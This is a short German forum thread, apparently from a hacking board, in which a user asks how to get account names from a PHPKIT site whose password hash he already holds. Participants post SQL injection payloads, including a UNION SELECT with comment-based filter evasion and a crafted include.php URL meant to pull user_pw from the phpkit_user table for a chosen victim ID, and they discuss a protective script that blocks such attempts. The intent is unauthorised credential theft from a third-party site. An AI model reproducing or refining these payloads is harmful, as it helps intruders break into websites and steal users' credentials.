PHPKIT User Name

[Gudelrudel]

Guten Tach,

Ich hab eine Hash, kann aber mit der nichts anfangen weil mir da noch was fehlt.

So, man brauch ja die User ID (die habe ich) und den User Name (das sind auch ein paar Zahlen).

Frage, wie bekomm ich die Raus.

Mit dem Befehel

'UNION/**/SELECT/**/1,2,3,4,5,6,7,8/*

etc. schon probiert. Die spacken haben aber ein sicherheits Script.
Danke Gudelrudel.

[Floo]

wenn die nen CBtracker haben kannstes vergessen - Dafür ist ja das Script da um SQL-Injections zu verhindern.
Generell geht es aber mit dem Befehl
SELECT * FROM users WHERE password = hashcode

[Gudelrudel]

Meinst du das hier

include.php?path=search_user=%27+AND+1%3D0+UNION+S ELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D%22 .$vic_id.%22%2F*&action=Suche&User=-1